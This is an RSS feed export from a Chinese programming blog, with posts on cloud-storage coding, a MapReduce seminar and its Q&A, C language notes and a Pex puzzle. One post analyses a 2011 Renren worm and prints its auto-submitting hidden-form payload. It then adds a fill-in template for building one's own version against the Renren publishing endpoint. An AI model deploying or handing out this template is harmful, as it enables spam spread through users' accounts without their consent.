<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>瑶池西望 · 紫气东来</title>
	<atom:link href="http://logicmd.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://logicmd.net</link>
	<description>记录点滴技术生活</description>
	<lastBuildDate>Fri, 04 May 2012 13:12:55 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Seminar Share: Simple Regenerating Codes: Network Coding for Cloud Storage</title>
		<link>http://logicmd.net/2012/04/seminar-share-simple-regenerating-codes-network-coding-for-cloud-storage/</link>
		<comments>http://logicmd.net/2012/04/seminar-share-simple-regenerating-codes-network-coding-for-cloud-storage/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 11:44:27 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Academic]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[Networks]]></category>
		<category><![CDATA[Cloud Storage]]></category>
		<category><![CDATA[Distributed System]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Seminar]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=43020</guid>
		<description><![CDATA[本文采取一种基于Networking coding的简单高效的云存储编码方式。相比传统的Replication方式，本文方法具有更高效的存储利用率和更高的可靠度，同时有可观的性能（repair吞吐与Replication可比）；相比MDS编码（用于RAID 5、6），本文拥有更低的recovery复杂度，更高的repair吞吐和更好的扩展性。]]></description>
			<content:encoded><![CDATA[<p>这篇日志主要分享实验室的seminar，这篇paper选自INFOCOM 2012，作者来自USC, EMC和Microsoft Research，主要讲了简单高效的云存储编码方式。</p>
<p>本文采取一种基于Networking coding的简单高效的云存储编码方式。相比传统的Replication方式，本文方法具有更高效的存储利用率和更高的可靠度，同时有可观的性能（repair吞吐与Replication可比）；相比MDS编码（用于RAID 5、6），本文拥有更低的recovery复杂度，更高的repair吞吐和更好的扩展性。</p>
<p>提出方法的亮点：</p>
<ol>
<li><code>O(1)</code>级别的<strong>单节点修复</strong>磁盘IO，保证了框架的可扩展性(Scalabilty)</li>
<li>简单高效的一致性修复(exact repair)方法</li>
<li>不低的存储效率</li>
</ol>
<p>提出方法的不足：</p>
<ol>
<li>仿真真实性不如实现更强，实际SRC的实现不难</li>
<li>冗余度<em>n-k</em>不随规模<em>n</em>增长而增长，可靠度下降</li>
<li>与MSR(Minimal Storage Regeneration Code)比较带宽开销，有失公平（应该与MBR比较）</li>
<li>性能理论分析时（Slides 33）未考虑是Exact repair 还是 Functional repair</li>
</ol>
<p>下面是我的Presentation。</p>
<p><object height="503" align="middle" width="630" id="reader" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"><param value="transparent" name="wmode"></param><param value="true" name="allowfullscreen"></param><param name="allowscriptaccess" value="always"></param><param value="http://wenku.baidu.com/static/flash/apireader.swf?docurl=http://wenku.baidu.com/play&amp;docid=2efecfd576eeaeaad1f3300c&amp;title=Simple%20Regenerating%20Codes%2C%20Network%20Coding%20for%20Cloud%20Storage&amp;doctype=ppt&amp;fpn=5&amp;npn=5&amp;readertype=external&#038;catal=0&amp;cdnurl=http://txt.wenku.baidu.com/play" name="movie"><embed height="475" align="middle" width="595" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="reader" src="http://wenku.baidu.com/static/flash/apireader.swf?docurl=http://wenku.baidu.com/play&amp;docid=2efecfd576eeaeaad1f3300c&amp;title=Simple%20Regenerating%20Codes%2C%20Network%20Coding%20for%20Cloud%20Storage&amp;doctype=ppt&amp;fpn=5&amp;npn=5&amp;readertype=external&#038;catal=0&amp;cdnurl=http://txt.wenku.baidu.com/play" allowfullscreen="true" wmode="window" allowscriptaccess="always" bgcolor="#FFFFFF" ver="9.0.0"></embed></param></object></p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2012/04/seminar-share-simple-regenerating-codes-network-coding-for-cloud-storage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seminar Share: The Performance of MapReduce: An In-depth Study</title>
		<link>http://logicmd.net/2012/01/seminar-share-the-performance-of-mapreduce-an-in-depth-study/</link>
		<comments>http://logicmd.net/2012/01/seminar-share-the-performance-of-mapreduce-an-in-depth-study/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 18:14:45 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Academic]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[Hadoop]]></category>
		<category><![CDATA[MapReduce]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Seminar]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=43013</guid>
		<description><![CDATA[这篇日志主要分享数据库课的seminar，这篇paper[1]选自VLDB `10，作者来自NUS，主要讲了MapReduce框架在数据库操作时性能瓶颈，并给出了优化建议。
作者不同意业内大牛Dewitt在[2]的看法，即MapReduce性能与数据库要差很多。他认为经过适当的优化，MapReduce性能会提升2.5x-3.5x以上，最终两者性能是可比的。
下面是我的Presentation。
Presentation
The Performance of MapReduce: An In-depth Study
View more presentations from Kevin  [...]]]></description>
			<content:encoded><![CDATA[<p>这篇日志主要分享数据库课的seminar，这篇paper[<a href="#ref1">1</a>]选自VLDB `10，作者来自NUS，主要讲了<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/mapreduce/" title="查看 MapReduce 中的全部文章" target="_blank">MapReduce</a></span>框架在数据库操作时性能瓶颈，并给出了优化建议。</p>
<p>作者不同意业内大牛Dewitt在[<a href="#ref2">2</a>]的看法，即MapReduce性能与数据库要差很多。他认为经过适当的优化，MapReduce性能会提升2.5x-3.5x以上，最终两者性能是可比的。</p>
<p>下面是我的Presentation。</p>
<h2>Presentation</h2>
<div style="width:595px" id="__ss_11947231"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/logicmd/the-performance-of-mapreduce-an-indepth-study" title="The Performance of MapReduce: An In-depth Study">The Performance of MapReduce: An In-depth Study</a></strong><object id="__sse11947231" width="595" height="497"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mapreduceexpt-120309223145-phpapp02&#038;stripped_title=the-performance-of-mapreduce-an-indepth-study&#038;userName=logicmd" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><param name="wmode" value="transparent"/><embed name="__sse11947231" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mapreduceexpt-120309223145-phpapp02&#038;stripped_title=the-performance-of-mapreduce-an-indepth-study&#038;userName=logicmd" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" width="425" height="355"></embed></object>
<div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/logicmd">Kevin Tong</a>.</div>
</div>
<p>以下是Rebuttal。<br />
<span id="more-43013"></span></p>
<h2>Q&#038;A</h2>
<hr />
<p>这个题目其实比较好，但是，这个in-depth最后的感觉不是很是深入</p>
<p>开始提出7个关键步骤，这个大家都会同意。但是，不知道为什么一下跳到3个步骤，这三个步骤的依据是什么？是否随着数据特性的不同会有不同的关键步骤，这个都没有讲清楚。</p>
<p>后面提到的针对不同步骤，大概是2*2*3*2，约有24种不同组合，没有必要引入什么搜索算法，大家原本就是不同步骤串行起来的，每个步骤取最好的即可。如果需要考虑关联关系，则需要说清楚关联在什么地方。此外，24也不是什么大的不得了的数据，如果关联，直接跑就行。不一定对这个空间做什么剪枝。而且，这个操作是一次性的工作。</p>
<p>上次课程的遗留问题，这个应该由你查询解决</p>
<p>在hadoop中，原始数据要被转换成key/value的形式以便进一步处理，这就是数据解析。现在有两种数据解析方法：immutable decoding and mutable decoding。<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/hadoop/" title="查看 Hadoop 中的全部文章" target="_blank">Hadoop</a></span>是采用java语言编写的，java中很多对象是immutable，如String。当用户试图修改一个String内容时，原始对象会被丢弃而新对象会被创建以存储新内容。在Hadoop中，采用了immutable对象存储字符串，这样每解析一个record就会创建一个新的对象，这就导致了性能低下。</p>
<hr />
<p>老师，您好，这是我对这几个问题的一点想法。</p>
<h4>问题一：</h4>
<p>文中提出MapReduce系统通常的7个步骤，这7个步骤是：</p>
<ol>
<li>invoke map functions to read data from a storage system into memory</li>
<li>parse/decode data into records</li>
<li>process the records</li>
<li>sort the intermediate data emitted by map functions according to keys</li>
<li>shuffe intermediate data from mappers to reducers</li>
<li>merge data into groups by intermediate keys</li>
<li>invoke reduce functions and write resulting records back to a storage system</li>
</ol>
<p>从7个步骤变到3个步骤文中的意思是只有1 2 4这三个步骤有其他不同的实现的方式。</p>
<p>其他步骤比如步骤2 5 6，具体实现肯定是与任务本身的目的有关的。还有步骤7看起来似乎没有别的实现方式。</p>
<p>这一点，由于当时时间有限讲的不是很清楚，不好意思。</p>
<h4>问题二：</h4>
<p>关于4个factor之间的影响，是这样的，这个论文中只是强调这个空间很大，至于2*2*3*2这个东西，是我的理解，借题发挥了一下下。现在看来，这个想法有些问题，不是很准确。</p>
<p>1.我又回去读了论文，实际的搜索空间不知这一些，比如decoder这一块，我大致分成了mutable和immutable的，但是除此之外还分为binary和text两大类，然后binarydecoder中有包好三种序列化的框架，包括Hadoop的Writeable，Google的ProtocolBuffer和BerkeleyDB，所以前前后后作者一共实现了7个decoder(text两种，writable两种，protocolbuffer两种以及最后的BerkeleyDB由于API限制一种)。</p>
<p>2.其次后面计算benchmark有很多grep selection aggregation和join。第一个grep task测的参数不是很多，但是后面的几个task都是综合测定多个参数，我想他所谓的减小搜索空间，也就是剪枝，指得是前面的小的task测定的单个factor中有优势的implementation我还拿到后面去用，明显劣势的implementation就不用了，比如最后一个join算法算benchmark的时候，就只用两个decorder一个mutable text一个是BerkeleyDB的。</p>
<p>3.也不能说这个搜索空间不大，作者在做测试的时候分别在10/50/100个node上测试。作者本人没有集群，都是在Amazon的EC2上跑的。在这种虚拟化的平台上，每台机器都不是独占的，由于均衡负载的缘故，每个机器每天不同的时段的性能主要是磁盘和网络IO都有差别。我在ppt中也说到了，作者说做实验需要错开高峰期，然后他们在Amazon这个付费平台上的预算也是有限的，所以做了这样的剪枝处理。</p>
<h4>问题三：</h4>
<p>最后关于那个decoder，我查了一下Java序列化相关的知识。 </p>
<p>1.什么是序列化？为什么要序列化？</p>
<p>序列化就是把结构化数据转化成字节流，便于在网络传输和磁盘中进行永久化存储。序列化通常用在进程间通信和永久存储中。</p>
<p>序列化具有 紧凑、快速、可扩展性、互操作的特点。</p>
<p>2.Java Object Serialization和HadoopWriteable</p>
<p>Java本身带有Java Object Serialization这个序列化的方式，但是由于它并不好，Hadoop并没有使用它，而是实现了自有的Writable这个框架。</p>
<p>首先，Java Serialization不精简，每个对象写入数据流都要写入类名，会引入句柄，不利于随机存储。</p>
<p>其次，Java Serialization反序列化过程的开销大，需要对每个对象新建实例，也就是paper中所说的是immutable的，但是Hadoop Writable是mutable的。</p>
<p>也就是说Hadoop目前这个版本自带的序列化框架writable就是mutable的，作者实现了writable这个框架的immutable形式，还Google protocalBuffer的immutable形式，作者最后测定几个decoder是他自己实现的mutable text decoder和BerkeleyDB的decoder效率最高。这当然是在Hadoop 0.19的code base的基础上。</p>
<p>最后，可移植性，这一点Java Serialization和Hadoop Writable都不好，原则上讲其他语言能够理解他们的流协议，但是实际其他语言实现不多。</p>
<p>以后Hadoop计划支持Avro这个语言无关的序列化框架，也是Apache出品，Hadoop之父Doug Cutting创建,旨在解决Hadoop Writable缺乏语言可移植性的问题。</p>
<hr />
<p>非常好的feedback！</p>
<p>我们再讨论下</p>
<h4>问题一：</h4>
<p>这个感觉每个步骤都可以优化，就比如第5步，我们可以采用非sort-merge的方式来结合，就如果你ppt最后Tenzing: A SQL Implemetation On The MapReduce Framework<br />
这个里面这样，其中就对shuffle优化了</p>
<p>第7个，是否和第二个是一回事，序列化和反序列化对应的，都有很多种实现方式。但是不知道是否可以说一种高效的反序列化就意味着高效的序列化。如果不是，7似乎也应该是探讨的对象</p>
<p>此外，还有其他步骤，如每次map reduce任务的start up，和clean up，都可能是优化的目标，因为也占用了不少资源</p>
<h4>问题二：</h4>
<p>解释的挺好，我还是不明白，这个不同步骤之间到底什么关联关系，以至于需要组合测试，如decode，对于后面的处理没有关系，我们只要在这个阶段中发现最快的decode即可。因此，没有必要讨论组合的情况</p>
<h4>问题三：</h4>
<p>挺好，Good。</p>
<hr />
<h4>问题一：</h4>
<p>恩，同意，在其他几个步骤也有一些优化策略，不过作者只研究了那三步而已。<br />
作者还未讨论的优化的策略：</p>
<p>mapper数量设定，即控制分片数量多少，小文件较多的时候是否需要很多分片。 （对于第1步）<br />
reducer数量设定。（对应第7步）<br />
combiner，利用combiner可以减少shuffle的数据传输量。 （对应第5步）<br />
intermediate value的压缩，这个作者有一笔带过，说有研究表明效果不是很明显，而且加入compression了以后他们程序遇到好多错误，就没压缩了。<br />
custom serialization.自定义一个的writable对象或者comparator，在不必deserialize后做sort。（对应第4步）</p>
<h4>问题二：</h4>
<p>我理解，作者其实也不是说几个factor之间有关系吧，对于某些复杂的task比如join，会受到好几个factor影响，然后有几个factor前面测过性能优劣，这次就不测了，这样省钱省时间，呵呵。</p>
<hr />
<h2>Reference</h2>
<p><a name="ref1"></a>[1] D. Jiang, B. C. Ooi, L. Shi, S. Wu: The <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/performance/" title="查看 Performance 中的全部文章" target="_blank">Performance</a></span> of MapReduce: An In-depth Study. Int&#8217;l Conference on Very Large Data Bases (VLDB), 2010<br />
<a name="ref2"></a>[2] Andrew Pavlo, Erik Paulson, Alexander Rasin, Daniel J. Abadi, David J. Dewitt, Samuel Madden, Michael Stonebraker: A comparison of approaches to large-scale data analysis In SIGMOD ’09: Proceedings of the 35th SIGMOD international conference on Management of data</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2012/01/seminar-share-the-performance-of-mapreduce-an-in-depth-study/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>通过‘人人网6周年’活动发布的XSS分析</title>
		<link>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/</link>
		<comments>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/#comments</comments>
		<pubDate>Sat, 10 Dec 2011 06:52:43 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42912</guid>
		<description><![CDATA[大约半年前，人人弄出国站内信”暗恋门”XSS的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（传送门）
今天，满屏的姜姝君（没截图，人人自己公关删太快了）和后来的技术宅改变世界的状态都是这次XSS的具体体现


表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码

可以在header中看到
&#60;script type=&#34;text/javascript&#34;&#62;
    //&#60;![CDATA[
    var  [...]]]></description>
			<content:encoded><![CDATA[<p>大约半年前，人人弄出国站内信”暗恋门”<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/xss/" title="查看 XSS 中的全部文章" target="_blank">XSS</a></span>的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（<a title="人人网站内信被XSS攻击" href="http://blog.fangjian.me/archives/236" rel="nofollow">传送门</a>）</p>
<p>今天，满屏的<strong>姜姝君</strong>（没截图，人人自己公关删太快了）和后来的<strong>技术宅改变世界</strong>的状态都是这次XSS的具体体现</p>
<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/12/screenshot2.png"><img class="size-full wp-image-42915 aligncenter" title="screenshot-twitter" src="http://logicmd.net/wp-content/uploads/2011/12/screenshot2.png" alt="" width="434" height="214" /></a></p>
<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/12/screenshot.png"><img class="size-full wp-image-42913 aligncenter" title="screenshot" src="http://logicmd.net/wp-content/uploads/2011/12/screenshot.png" alt="" width="454" height="83" /></a></p>
<p>表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码<br />
<span id="more-42912"></span><br />
可以在header中看到</p>
<pre class="brush:js">&lt;script type=&quot;text/javascript&quot;&gt;
    //&lt;![CDATA[
    var serviceTopology = {&quot;serverName&quot;:&quot;apu1.wixpress.com&quot;,&quot;cacheKillerVersion&quot;:&quot;v=527&quot;,&quot;staticServerUrl&quot;:&quot;http://static.wix.com&quot;,&quot;biServerUrl&quot;:&quot;http://frog.wix.com&quot;,&quot;userServerUrl&quot;:&quot;http://users.wix.com&quot;,&quot;billingServerUrl&quot;:&quot;http://premium.wix.com&quot;,&quot;mediaRootUrl&quot;:&quot;http://0.static.wix.com&quot;,&quot;htmlComponentServerUrl&quot;:&quot;http://www.flashquix.com/embeds&quot;,&quot;logServerUrl&quot;:&quot;http://frog.wix.com/plebs&quot;,&quot;monitoringServerUrl&quot;:&quot;http://TODO&quot;};
...
//]]&gt;
&lt;/script&gt;</pre>
<p>实际调用了http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&amp;gzip=true&amp;bg=transparent</p>
<p>这个js，别直接点开，否者就会执行这个js了 =。=</p>
<p>chrome里打开view-source:http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&amp;gzip=true&amp;bg=transparent</p>
<p>（或者其他你喜欢的浏览器替换view-source:部分）</p>
<p>安全查看这个js的源码</p>
<p>发现</p>
<pre class="brush:xml; highlight: [28, 29, 30, 31, 32, 38]">&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;&lt;/title&gt;
    &lt;style type=&quot;text/css&quot;&gt;
        html, body {
            height: 100%;
        }
        body {
            margin: 0;
            padding: 0;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body bgcolor=&quot;transparent&quot;&gt;
  &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;title&gt;Thanks for you click.&lt;/title&gt;

&lt;/head&gt;
&lt;body&gt;
&lt;iframe name=&quot;destination&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;

This is the TRUTH. Just major in COMPUTER SCIENCE!!!

&lt;div id=&quot;kokia&quot; style=&quot;float:left;display:none;&quot;&gt;

&lt;form id=&quot;akiko&quot; name=&quot;akiko&quot; action=&quot;http://6.renren.com/sixyears/publish&quot; method=&quot;POST&quot; target=&quot;destination&quot;&gt;
  &lt;p&gt;type: &lt;input type=&quot;text&quot; name=&quot;type&quot; value=&quot;2&quot;/&gt;&lt;/p&gt;
  &lt;p&gt;raw: &lt;input type=&quot;text&quot; name=&quot;raw&quot; value=&quot;技术宅改变世界。。。http://www.wix.com/active93/active93&quot;/&gt;&lt;/p&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
&lt;/form&gt;
&lt;/form&gt;

&lt;/div&gt;

&lt;script&gt;
	document.akiko.submit();
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot;&gt;var _bdhmProtocol = ((&quot;https:&quot; == document.location.protocol) ? &quot; https://&quot; : &quot; http://&quot;);document.write(unescape(&quot;%3Cscript src=&#039;&quot; + _bdhmProtocol + &quot;hm.baidu.com/h.js%3F278a7f54490f000cde62d2dbfed2f0b7&#039; type=&#039;text/javascript&#039;%3E%3C/script%3E&quot;));&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;

&lt;/body&gt;
&lt;/html&gt;</pre>
<p>主要内容就是这个post了，<strong>额，人人在post时候没有检查post来源，应该就是这次XSS的主要原因。</strong></p>
<p>这次似乎没有窃取cookies，一点见解，大牛勿拍</p>
<p>&nbsp;</p>
<p>Update: 如何DIY一个人人XSS，伸手党点<a title="直接复制会跪掉的亲" href="http://notepad.cc/share/XHsT5EoXN7" rel="nofollow" target="_blank">这里</a></p>
<pre class="brush:xml">&lt;html&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
		&lt;title&gt;你需要的html标题&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;iframe name=&quot;destination&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;
		&lt;h2&gt;内容标题啊&lt;/h2&gt;
		&lt;p&gt;内容啊&lt;/p&gt;
		&lt;div id=&quot;kokia&quot; style=&quot;float:left;display:none;&quot;&gt;
			&lt;form id=&quot;akiko&quot; name=&quot;akiko&quot; action=&quot;http://6.renren.com/sixyears/publish&quot; method=&quot;POST&quot; target=&quot;destination&quot;&gt;
				&lt;p&gt;type: &lt;input type=&quot;text&quot; name=&quot;type&quot; value=&quot;2&quot;/&gt;&lt;/p&gt;
				&lt;p&gt;raw: &lt;input type=&quot;text&quot; name=&quot;raw&quot; value=&quot;状态内容，记得加上本URL哦，亲  &quot;/&gt;&lt;/p&gt;
				&lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
			&lt;/form&gt;
		&lt;/div&gt;
		&lt;script&gt;
			document.akiko.submit();
		&lt;/script&gt;
		&lt;!--来个图片神马的--&gt;
		&lt;image src=&quot;imageURL&quot;&gt;&lt;/image&gt;
	&lt;/body&gt;
&lt;/html&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Monologue on Programming</title>
		<link>http://logicmd.net/2011/09/monologue-on-programming/</link>
		<comments>http://logicmd.net/2011/09/monologue-on-programming/#comments</comments>
		<pubDate>Fri, 30 Sep 2011 07:26:03 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Monologue]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42904</guid>
		<description><![CDATA[1.声明变量尽量在函数开头
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i&#60;8&#38;&#38;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}
写在.c文件中会编译报错。
Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax  [...]]]></description>
			<content:encoded><![CDATA[<h2>1.声明变量尽量在函数开头</h2>
<pre class="brush:cpp">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i&lt;8&amp;&amp;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}</pre>
<p>写在.c文件中会编译报错。</p>
<pre class="brush:plain">Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax error : missing ‘;’ before ‘type’</pre>
<p>经查证这是因为c和c++关于变量声明的一点点不同：<br />
<span id="more-42904"></span></p>
<blockquote><p>C语言是要求你必须将变量在函数开始处进行声明的，不支持在任意地方声明变量。</p></blockquote>
<p>因此换成这样的就编译通过啦：</p>
<pre class="brush:cpp">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
char name[]=”mygogou”;
int main()
{
    char output[8];
    int i;
    strcpy(output, name);
    for(i=0;i&lt;8&amp;&amp;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}</pre>
<p>在C++语言中无这种限制。但是个人倾向于将声明放在函数开头部分，参加3GLive期间的问题。</p>
<h2>2.fwrite和fprintf存在缓冲区</h2>
<p>是先写到内存的，fprintf,fwrite都是从用户缓冲写到标准io的缓冲，然后从标准io的缓冲到内核缓冲，最后才由操作系统写入文件。</p>
<ol>
<li>文件缓冲区滿时自动写入文件</li>
<li>强制文件缓冲区时自动写入文件：如fflush(),fclose()及程序结束等</li>
</ol>
<p>因而一定记得fflsuh()和fclose()否则，当程序没有正常返回，Ctrl-C或者crash时，buffer就被drop鸟。</p>
<pre class="brush:cpp">int main()
{
	FILE *fpRead, *fpWrite;
	if((fpRead = fopen(&quot;d:\\test.txt&quot;, &quot;r&quot;)) != NULL)
    {
		if(remove(&quot;d:\\test.txt&quot;)==-1)
		{
			printf(&quot;could not delete.&quot;);
		}
    }
	fpWrite=fopen(&quot;d:\\test.txt&quot;, &quot;at+&quot;);
	char x[11]=&quot;FUCK YOU2!&quot;;
	//fwrite(x, sizeof(x[0]), sizeof(x)/sizeof(x[0]), fpWrite);
	for(int i=0; i&lt;11; i++)
	{
		fprintf(fpWrite, &quot;%c&quot;, x[i]);
	}
	fprintf(fpWrite, &quot;\n&quot;);
	fprintf(fpWrite, &quot;hello&quot;);
	fflush(fpWrite);
	return 0;
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/09/monologue-on-programming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>#pex4fun Challenge 2nd Fibonacci</title>
		<link>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/</link>
		<comments>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 07:09:34 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Fibonacci]]></category>
		<category><![CDATA[Pex]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42902</guid>
		<description><![CDATA[
Pex is Automated White box Testing for .NET from Microsoft Research.
Pex for fun on the web is a radically simplified version of the fully featured Pex Power Tool for Visual Studio.
Challenge Fibonacci 2 is a kind of the simplest recursive problem after you find out the duel is actually second  [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/09/PexWeb2.png"><img class=" wp-image-42906 aligncenter" title="PexWeb2" src="http://logicmd.net/wp-content/uploads/2011/09/PexWeb2.png" alt="" width="533" height="88" /></a></p>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pex/" title="查看 Pex 中的全部文章" target="_blank">Pex</a></span> is Automated White box Testing for .NET from Microsoft Research.</p>
<p><a href="http://pexforfun.com" rel="nofollow" target="_blank">Pex for fun</a> on the web is a radically simplified version of the fully featured Pex Power Tool for Visual Studio.</p>
<p><a href="http://pexforfun.com/default.aspx?language=CSharp&amp;sample=ChallengeFibonacci2" rel="nofollow" target="_blank">Challenge Fibonacci 2</a> is a kind of the simplest recursive problem after you find out the duel is actually second order <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/fibonacci/" title="查看 Fibonacci 中的全部文章" target="_blank">Fibonacci</a></span> array.</p>
<pre class="brush:csharp">using System;

public class Program {
  public static int Puzzle(int x) {
    // Can you write code to solve the puzzle? Ask Pex to see how close you are.
    if (x &lt;= 1) return x;
    if (x == 2) return 3;

    return Puzzle(x-1)*2 - Puzzle(x-3);
  }
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Host Patch自动获取脚本</title>
		<link>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/</link>
		<comments>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 02:55:11 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Shell/Batch]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Host]]></category>
		<category><![CDATA[Script]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42442</guid>
		<description><![CDATA[Google最近发布了Google Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，Google搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问Google服务。
如果在校园网中，IPv6无疑是一个良好的解决方案，本博这篇文章给出了相关方法，在Google Code上也有一个Project专门维护Google IPv6的Host列表。
但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的Felix Hsu，他已发布正式版，但是我还是个人更喜欢这个version 3一些~ XD
Windows  [...]]]></description>
			<content:encoded><![CDATA[<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>最近发布了Google Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，Google搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问Google服务。</p>
